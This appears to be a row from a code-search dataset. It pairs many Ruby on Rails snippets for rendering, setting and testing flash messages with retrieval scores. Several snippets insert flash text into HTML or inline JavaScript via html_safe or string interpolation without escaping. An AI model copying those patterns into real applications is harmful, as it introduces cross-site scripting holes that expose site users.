"def test_flash_redirection\n tags = params[:tags].to_s.split(\",\")\n if tags.any?\n flash_notice(tags.pop.to_sym.t)\n redirect_to(\n controller: :observer,\n action: :test_flash_redirection,\n tags: tags.join(\",\")\n )\n else\n # (sleight of hand to prevent localization_file_text from complaining\n # about missing test_flash_redirection_title tag)\n @title = \"test_flash_redirection_title\".to_sym.t\n render(layout: \"application\", text: \"\")\n end\n end",
"def has_flash?\n not web_video.nil?\n end",
"def instant_flash\n render partial: 'shared/flash_messages'\n end",
"def render_flash\n flash[:error] ||= flash[:alert]\n flash[:info] ||= flash[:notice]\n if flash_message = flash[:error] || flash[:success] || flash[:info]\n flash_class = flash[:error] || flash[:alert] ? \"alert-error\" : (flash[:success] ? \"alert-success\" : \"alert-info\")\n flash_title = flash[:error] || flash[:alert] ? \"\" : (flash[:success] ? \"Hooray!\" : \"Note:\")\n content_tag(:div, :class=>\"alert #{flash_class}\") do\n content_tag(:a, \"x\", :class=>\"close\", \"data-dismiss\"=>\"alert\") +\n content_tag(:strong, flash_title) + \" \" +\n flash_message\n end\n end\n end",
"def keep_flash\n @keep_flash = true\n end",
"def show_flash_messages\n javascript = [:notice, :stay_notice, :warning, :error].map do |name|\n unless flash[name].blank?\n \"Message.add('#{name}', #{flash[name].to_json},\" + ((name == :stay_notice || name == :error) ? \"false\" : \"true\") + \");\"\n end\n end.join\n \n javascript << Message.unread(current_user).for(current_user).map do |message|\n message.read_by!(current_user)\n \n if message.user\n \"Message.add('error', #{h(message.body).to_json});\"\n else\n \"Message.add('warning', #{sth(message.body).to_json});\"\n end\n end.join if current_user\n \n javascript_tag(javascript) unless javascript.blank?\n end",
"def flash\n execute_only(:flash)\n end",
"def flash; end",
"def flash; end",
"def has_flash_tag?\n has_tag( 'div#flash', evaluate: false )\n end",
"def display_flashes(message = @@flash_options[:default_message])\n if flash[:notice]\n flash_to_display, level = flash[:notice], @@flash_options[:notice_class]\n elsif flash[:warning]\n flash_to_display, level = flash[:warning], @@flash_options[:warning_class]\n elsif flash[:errors] || flash[:alert]\n error_flash = flash[:errors] || flash[:alert]\n level = @@flash_options[:errors_class]\n\n if error_flash.instance_of? ActiveModel::Errors\n flash_to_display = message.dup\n flash_to_display << activerecord_error_list(error_flash)\n else\n flash_to_display = error_flash\n end\n else\n return\n end\n flash.discard(:notice); flash.discard(:warning); flash.discard(:errors)\n content_tag('div', flash_to_display.html_safe, :class => \"#{level}\")\n end",
"def empty?\n @flash.empty?\n end",
"def flash\n rails_flash\n end",
"def flash_messages\n messages = ''.html_safe\n [:error, :notice].each do |t|\n if flash[t]\n messages << content_tag(:div, flash[t].html_safe, :id => \"flash-#{t}\", :class => \"flash gray-box-bg\" )\n end\n end\n unless messages.blank?\n content_tag(:div, messages)\n end\n end",
"def flash\n raise NotImplementedError\n end",
"def flash_message\n [:error, :warning, :notice].each do |type|\n return flash[type] unless flash[type].blank?\n end\n # if we don't return something here, the above code will return \"error, warning, notice\"\n return ''\n end",
"def scaffold_flash\n {}\n end",
"def flash_messages(opts = {})\n flash.each do |msg_type, message|\n concat(\n content_tag :div, nil,\n class: \"alert #{bootstrap_class_for(msg_type)} fade in\",\n data: {message: message},\n style: 'display: none;'\n )\n end\n nil\n end",
"def flash_messages\n\t\t\tstr = \"\"\n\t\t\tflash.each do |type, msg|\n\t\t\t\ttype == :alert ? persist = true : persist = false\n\t\t\t\tstr += content_tag :div, msg, :class => ['flash-message', type], :data => { :persist => persist }\n\t\t\tend\n\t\t\tstr.html_safe\n\t\tend",
"def flash_messages\n @flash_messages ||= flash.to_hash.with_indifferent_access.except(*active_admin_application.flash_keys_to_except)\n end",
"def flash_messages\n %w(notice warning error).map do |msg|\n content_tag(:script,\n \t\t\"$.jGrowl(\\\"#{flash.delete(msg.to_sym)}\\\", { header: '#{t(msg, :default => msg).mb_chars.titleize}', sticky: true, theme: '#{msg}' });\".html_safe\n\t\t\t) unless flash[msg.to_sym].blank?\n end.join(\"\\n\").html_safe\n end",
"def flash_messages _opts = {}\n flash.each do |msg_type, message|\n next if 'unfurl' == msg_type # we don't show unfurl's in the flash notice UI.\n\n concat(\n content_tag(\n :div,\n message,\n class: \"alert #{bootstrap_class_for(msg_type)} alert-dismissible\",\n role: 'alert'\n ) do\n concat(\n content_tag(\n :button,\n class: 'close',\n data: { dismiss: 'alert' }\n ) do\n concat(\n content_tag(:span, '×'.html_safe, 'aria-hidden' => true)\n )\n concat content_tag(:span, 'Close', class: 'sr-only')\n end\n )\n concat message\n end\n )\n end\n\n nil\n end",
"def flash_message\n messages = \"\"\n [:notice, :info, :warning, :error].each {|type|\n if flash[type]\n messages += \"<p class=\\\"#{type}\\\">#{flash[type]}</p>\"\n end\n }\n\n messages\n end",
"def flash_in_response_headers\n if request.xhr?\n response.headers['X-Psap-Message-Type'] = 'error' unless flash['error'].blank?\n response.headers['X-Psap-Message-Type'] = 'success' unless flash['success'].blank?\n response.headers['X-Psap-Message'] = flash['error'] unless flash['error'].blank?\n response.headers['X-Psap-Message'] = flash['success'] unless flash['success'].blank?\n flash.clear unless @keep_flash\n end\n end",
"def test_flash_messages_work\n get \"/\"\n refute_match /should show on page/, last_response.body\n get \"/set_flash_for_test?flash=should%20show%20on%20page\"\n get \"/\"\n assert_match /should show on page/, last_response.body\n get \"/\"\n refute_match /should show on page/, last_response.body\n end",
"def test_flash_me_naked\n process :flash_me_naked\n assert [email protected]_flash?\n assert [email protected]_flash_with_contents?\n end",
"def set_failure_notice\n if request.format == :html\n flash[:alert] ||= error_messages.presence || flash_message(:failure)\n end\n end",
"def unobtrusive_flash_keys\n [:notice, :alert, :error, :success, :warning]\n end",
"def flash?\n file_ext == \"swf\"\n end",
"def flash_notice(options = Hash.new)\n return \"\"\n end",
"def skip_admin_flash\n @skip_admin_flash = true\n end",
"def map_flash_to_gon\n generate_standard_gon\n if flash[:notice]\n gon.flash[:type] = :notice\n gon.flash[:message] = flash[:notice]\n elsif flash[:alert]\n gon.flash[:type] = :alert\n gon.flash[:message] = flash[:alert]\n end\n end",
"def show_flash\n html = ''\n [ :alert, :notice, :info, :warning, :error ].each do |f|\n options = { :id => \"flash-#{f}\", :class => \"flash-#{f}\" }\n options.merge!( :style => 'display:none' ) if flash[f].nil?\n html << content_tag( 'div', options ) { flash[f] || '' }\n end\n html.html_safe\n end",
"def show_flash\n html = ''\n [ :alert, :notice, :info, :warning, :error ].each do |f|\n options = { :id => \"flash-#{f}\", :class => \"flash-#{f}\" }\n options.merge!( :style => 'display:none' ) if flash[f].nil?\n html << content_tag( 'div', options ) { flash[f] || '' }\n end\n html.html_safe\n end",
"def test_flash_have_nots\n process :nothing\n assert [email protected]_flash?\n assert [email protected]_flash_with_contents?\n assert_nil @response.flash['hello']\n end",
"def flash_warning(warning)\n flash[:warning] = warning\n end",
"def flash_messages(types)\n types.map{|type| content_tag(:div, \"#{flash[type]}\".html_safe, :class => type.to_s)}.join.html_safe\n end",
"def flash_messages\n messages = []\n %w(notice success warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]),\n :id => \"flash-#{msg}\", :class => msg) unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_filter(flash)\n flash.select { |k, _v| FLASH_TO_BOOTSTRAP_MAP.keys.include? k.to_sym }\n end",
"def header_flash\n if [\"text/javascript\", \"application/javascript\", \"application/x-javascript\"].include? response.content_type\n response.headers[\"flash-messages\"] = flash.to_json\n flash.each do |key, value|\n flash.delete key\n end\n end\n end",
"def flash_me\n flash['hello'] = 'my name is inigo montoya...'\n render :text => \"Inconceivable!\"\n end",
"def test_flash_haves\n process :flash_me\n assert @response.has_flash?\n assert @response.has_flash_with_contents?\n assert @response.has_flash_object?('hello')\n end",
"def display_message?\n if play? || seconds - @last_time_value < 6 && @last_time_value >= @level_num\n true\n else\n false\n end\n end",
"def flash_messages(opts = {})\n flash.each do |msg_type, message|\n concat(content_tag(:div, message, class: \"alert #{bootstrap_class_for msg_type} fade in\", id: \"flash\") do \n concat message\n end)\n end\n nil\n end",
"def flash_messages\n code = \"\"\n flash.each do |type, message|\n next if message.nil?\n code += \"<div class=\\\"message #{type}\\\">\\n\"\n code += \" <p>#{message}</p>\\n\"\n code += \"</div>\\n\"\n end\n\n code\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def set_flash_failure(msg)\n session[:flash] = [false, msg]\n end",
"def flash_display\n response = \"\"\n flash.each do |name, msg|\n case name \n when :notice then \"info\"\n when :error then \"error\"\n when :success then \"success\"\n when :alert then \"warning\"\n end\n response = response + \"<div class='alert alert-#{name}'><a class='close' data-dismiss='alert'>×</a>\" + content_tag(:div, msg, :id => \"flash_#{name}\") + '</div>'\n end\n flash.discard\n response\n end",
"def flash(msg)\n\t$Log.info msg\nend",
"def set_normal_flash(action)\n if f = options_for(action).flash\n flash[:notice] = f.is_a?(Proc) ? instance_eval(&f) : options_for(action).flash\n end\n end",
"def flash_messages\n result = raw '' # TODO: sure there is a better way\n flash.collect do |level, message|\n result << content_tag(:div, message, :id => \"flash_#{level}\")\n end\n flash.discard\n result\n end",
"def alerts\n check_devise_resource_for_errors\n msgs = flash.keys.collect do |msg_type|\n next unless FLASH_LITERALS.has_key? msg_type.to_sym\n render partial: 'partials/alert', locals: {\n icon: FLASH_LITERALS[msg_type.to_sym][:icon],\n message: flash.discard(msg_type).html_safe,\n bootstrap_class: FLASH_LITERALS[msg_type.to_sym][:bs_class]\n }\n end\n msgs.join.html_safe\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, flash[msg.to_sym], :id => \"flash-#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def flash\n {}\n end",
"def redirect\n store_location!\n if is_flashing_format?\n if flash[:timedout] && flash[:alert]\n flash.keep(:timedout)\n flash.keep(:alert)\n else\n unless flash[:alert] == i18n_message\n flash[:alert] = \"#{flash[:alert]} #{i18n_message}\"\n end\n flash.keep(:alert)\n end\n end\n redirect_to redirect_url\n end",
"def flash_messages\n messages = []\n %w(notice success error).each do |msg|\n messages << content_tag(:div, html_escape(flash[msg.to_sym]), :id => \"#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages\n end",
"def warning?\n messages && messages.length > 0\n end",
"def flash_messages(opts = {})\n flash.each do |flash_type, message|\n concat(content_tag(:div, message, :class => \"alert #{flash_style(flash_type)} alert-dismissible\", role: :alert) do \n concat content_tag(:button, \"×\".html_safe, :class => \"close\", data: { dismiss: 'alert' })\n concat content_tag(:strong, flash_type.capitalize + ':') + ' ' + message\n end)\n end\n nil\n end",
"def flash_message\n messages = \"\"\n flash.each do |key, value|\n messages << \"<div class=\\\"flash #{key}\\\">#{value}</div>\"\n end\n messages\n end",
"def flash_messages\n return unless messages = flash.keys.select{|k| flash_keys.include?(k)}\n formatted_messages = messages.map do |type|\n content_tag :div, :id => type, :class => type.to_s do\n msg = flash[type]\n flash.delete(type)\n image_tag(\"#{type}.png\") + \"  \" + msg\n end\n end\n '<div id=\"flashes\">' + formatted_messages.join + '</div>'\n end",
"def flash_type(type)\n case type.to_s\n when \"notice\" then \"info\"\n when \"alert\" then \"warning\"\n else type\n end\n end",
"def flash_messages\n messages = []\n %w(notice warning error).each do |msg|\n messages << content_tag(:div, '<a onclick=\"$(\\'flash_box\\').hide();return false\" href=\"#\">X</a>' + html_escape(flash[msg.to_sym]), :id => \"flash_box\", :class=> \"#{msg}\") unless flash[msg.to_sym].blank?\n end\n messages << %(<script type=\"text/javascript\">show_error_message();</script>)\n messages\n end",
"def flash_msgs(status, messages)\n flash[:status] = status\n flash[:msgs] = [messages].flatten\n end",
"def should_flash(type)\n should \"return #{type} message\" do\n json = JSON.parse(@response.body)\n assert_not_nil json['messages']\n assert_not_nil json['messages'][type.to_s]\n end\n end",
"def flash_messages\n messages = flash.keys.collect { |key| flash_message(key, flash[key]) }\n content_tag(:div, messages.to_s.html_safe, :id => \"flash-messages\")\n end",
"def flash_messages\n messages = flash.keys.collect { |key| flash_message(key, flash[key]) }\n content_tag(:div, messages.to_s.html_safe, :id => \"flash-messages\")\n end",
"def set_alerts\n\t\tif flash.notice\n\t\t\t@notice = flash.notice\n\t\t\tp(@notice)\n\t\telsif flash.alert\n\t\t\t@alert = flash.alert\n\t\t\tp(@alert)\n\t\tend\n\tend",
"def custom_bootstrap_flash\n flash_messages = []\n flash.each do |type, message|\n type = 'success' if type == 'notice'\n type = 'error' if type == 'alert'\n text = \"<script>\n toastr.#{type}('#{message}');\n </script>\"\n flash_messages << text.html_safe if message\n end\n flash_messages.join(\"\\n\").html_safe\n end",
"def flash_messages\n bootstrap_class = {\"notice\" => \"alert alert-success\", \"error\" => \"alert alert-error\", \"warning\" => \"alert\"}\n bootstrap_class.keys.map do |msg|\n content_tag(:div, (\"<a class=\\\"close\\\" data-dismiss=\\\"alert\\\">×</a>\".html_safe + flash.delete(msg.to_sym).html_safe), {:class => bootstrap_class[msg]}) unless flash[msg.to_sym].blank?\n end.join(\"\\n\").html_safe\n end",
"def set_flash_success(msg)\n session[:flash] = [true, msg]\n end",
"def flash(message)\n\n end",
"def render *args\n gon.flash = flash.to_h\n super\n end",
"def flash=(_arg0); end",
"def flash_notice\n return '' unless flash[:notice]\n content_tag 'p', :class => 'notice' do \n flash[:notice]\n end\n end",
"def now\n @flash\n end",
"def flash_messages(errors)\n errors.each { |message| flash['alert_'+ message.gsub(/\\s+/, '_')] = message }\n end",
"def flash_message(type, text)\n flash[type.to_sym] ||= []\n flash[type.to_sym] << text\n end"
] | [
"0.7393258",
"0.7266733",
"0.6923131",
"0.6832732",
"0.66389906",
"0.6550679",
"0.64050627",
"0.6393993",
"0.6384501",
"0.6309731",
"0.6213595",
"0.6209325",
"0.6166452",
"0.6113381",
"0.60633594",
"0.60629666",
"0.605936",
"0.6054461",
"0.6053563",
"0.603398",
"0.6011405",
"0.59476584",
"0.59284616",
"0.5920773",
"0.58736205",
"0.58736205",
"0.58566135",
"0.5853345",
"0.58513635",
"0.5831626",
"0.5822993",
"0.57922",
"0.57899886",
"0.57840234",
"0.57830197",
"0.5772798",
"0.5766572",
"0.5763699",
"0.5740521",
"0.57353467",
"0.57223827",
"0.5720551",
"0.5717973",
"0.57171994",
"0.5706307",
"0.57062685",
"0.57010573",
"0.56958264",
"0.5691629",
"0.56889963",
"0.56889963",
"0.5687365",
"0.5686015",
"0.56858486",
"0.5663891",
"0.5662541",
"0.56520087",
"0.56457996",
"0.5638984",
"0.56308657",
"0.5624442",
"0.5622474",
"0.561952",
"0.561952",
"0.561952",
"0.561952",
"0.561952",
"0.561952",
"0.5613669",
"0.56125885",
"0.5602933",
"0.5602489",
"0.55983436",
"0.5597455",
"0.55914134",
"0.5590732",
"0.55847555",
"0.5580888",
"0.55778986",
"0.55687225",
"0.5557519",
"0.55566674",
"0.55484873",
"0.5544444",
"0.5513932",
"0.55075675",
"0.550737",
"0.550737",
"0.54997057",
"0.5495714",
"0.54930705",
"0.54859704",
"0.54699904",
"0.5468968",
"0.5460336",
"0.54502267",
"0.5442574",
"0.54422027",
"0.54378027"
] | 0.71586376 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.